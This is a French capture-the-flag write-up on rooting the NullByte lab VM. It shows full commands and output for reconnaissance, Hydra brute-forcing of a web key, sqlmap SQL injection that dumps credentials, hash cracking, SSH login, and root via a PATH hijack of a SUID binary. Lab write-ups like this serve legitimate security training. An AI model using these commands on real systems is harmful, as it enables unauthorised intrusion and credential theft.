NullByte - Write Up
Reconnaissance
ports ouverts : nmap -sS 192.168.43.111 Starting Nmap 6.47 ( http://nmap.org ) at 2017-08-08 09:34 CEST Nmap scan report for NullByte (192.168.43.111) Host is up (0.00062s latency). Not shown: 997 closed ports PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 777/tcp open multiling-http
Port 111 :
rpcinfo -p 192.168.43.111 program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100000 3 udp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 38070 status 100024 1 tcp 50679 status
Port 777 :
nc 192.168.43.111 777 SSH-2.0-OpenSSH_6.7p1 Debian-5
Exploitation Web
Pour le port 80 :
Avec l'outil dirb on va chercher les fichiers existants :
./dirb http://192.168.43.111/ wordlists/common.txt ---- Scanning URL: http://192.168.43.111/ ---- + http://192.168.43.111/index.html (CODE:200|SIZE:196) ==> DIRECTORY: http://192.168.43.111/javascript/ ==> DIRECTORY: http://192.168.43.111/phpmyadmin/ ==> DIRECTORY: http://192.168.43.111/uploads/
Dans le dossier uploads :
<html> <head><title>Uploads dir</title></head> <body> <p>Directory listing not allowed here.</p> </body> </html>
Dans le dossier phpmyadmin :
La version 4.2.12 est faillible uniquement aux XSS et au DOS.
Le dossier javascript contient les fichiers jquery.
En retournant voir l'image d'accueil :
exiftool main.gif ExifTool Version Number : 9.74 File Name : main.gif Directory : . File Size : 16 kB File Modification Date/Time : 2017:08:08 09:56:17+02:00 File Access Date/Time : 2017:08:08 09:56:17+02:00 File Inode Change Date/Time : 2017:08:08 09:56:17+02:00 File Permissions : rw-r--r-- File Type : GIF MIME Type : image/gif GIF Version : 89a Image Width : 235 Image Height : 302 Has Color Map : No Color Resolution Depth : 8 Bits Per Pixel : 1 Background Color : 0 Comment : P-): kzMb5nVYJw Image Size : 235x302
Un dossier kzMb5nVYJw existe sur le site web.
Une clé nous est demandée :
Dans le code source :
On bruteforce la clé avec Hydra :
hydra 192.168.43.111 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l ignore -P /home/ark1nar/outils/wordlist/rockyou.txt
La clé est : elite
On valide le formulaire sans entrer de nom d'utilisateur :
Nous avons deux utilisateurs :
Le champs usrtosearch est faillible au injection SQL :
./sqlmap.py -u http://192.168.43.111/kzMb5nVYJw/420search.php\?usrtosearch=ramses --dbs back-end DBMS: MySQL >= 5.5 available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] seth
./sqlmap.py -u http://192.168.43.111/kzMb5nVYJw/420search.php\?usrtosearch=ramses -D seth -T users --dump
echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d c6d6bd7ebf806f43c76acc3681703b81
On trouve la correspondance du md5 sur https://crackstation.net/
On se connecte grâce aux identifiants ramses/omega en SSH sur le serveur (port 777).
Exploitation système & Élévation de privilège
Récupération des informations systèmes :
ramses@NullByte:~$ uname -a Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux ramses@NullByte:~$ lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 8.1 (jessie) Release: 8.1 Codename: jessie
Récupération de la liste des binaires suid :
ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/pt_chown /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/procmail /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/passwd /usr/bin/sudo /usr/sbin/exim4 /var/www/backup/procwatch /bin/su /bin/mount /bin/umount /sbin/mount.nfs
Vérification de la vulnérabilité exim4 :
ramses@NullByte:~$ /usr/sbin/exim4 --version Exim version 4.84 #3 built 17-Feb-2015 17:01:53 Copyright (c) University of Cambridge, 1995 - 2014 (c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2014 Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013) Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM PRDR OCSP Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd Authenticators: cram_md5 plaintext Routers: accept dnslookup ipliteral manualroute queryprogram redirect Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp Fixed never_users: 0 Size of off_t: 8 Configuration file is /var/lib/exim4/config.autogenerate
La version 4.84 est vulnérable à une élévation de privilège à condition que le Perl soit dans la configuration.
Ce n'est pas le cas ici.
Vérification du bash_history de l'utilisateur ramses
bash-4.3$ cat .bash_history sudo -s su eric exit ls clear cd /var/www cd backup/
Le binaire procwatch est suspect :
ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1354 pts/0 00:00:00 procwatch 1355 pts/0 00:00:00 sh 1356 pts/0 00:00:00 ps
Exploitation de procwatch :
ramses@NullByte:/var/www/backup$ echo '/bin/sh' > ps ramses@NullByte:/var/www/backup$ env USER=ramses PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games PWD=/var/www/backup HOME=/home/ramses ramses@NullByte:/var/www/backup$ export PATH=/var/www/backup:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games ramses@NullByte:/var/www/backup$ chmod +x ps ramses@NullByte:/var/www/backup$ ./procwatch # id uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
Nous sommes maintenant root. Affichons le flag :
# cat /root/proof.txt adf11c7a9e6523e630aaf3b9b7acb51d It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mail at xly0n@sigaint.org attach the walk and proof.txt If sigaint.org is down you may mail at nbsly0n@gmail.com USE THIS PGP PUBLIC KEY -----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0 mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58 kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8 TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU Gms= =PiAQ -----END PGP PUBLIC KEY BLOCK-----
Merci à l'auteur de la machine.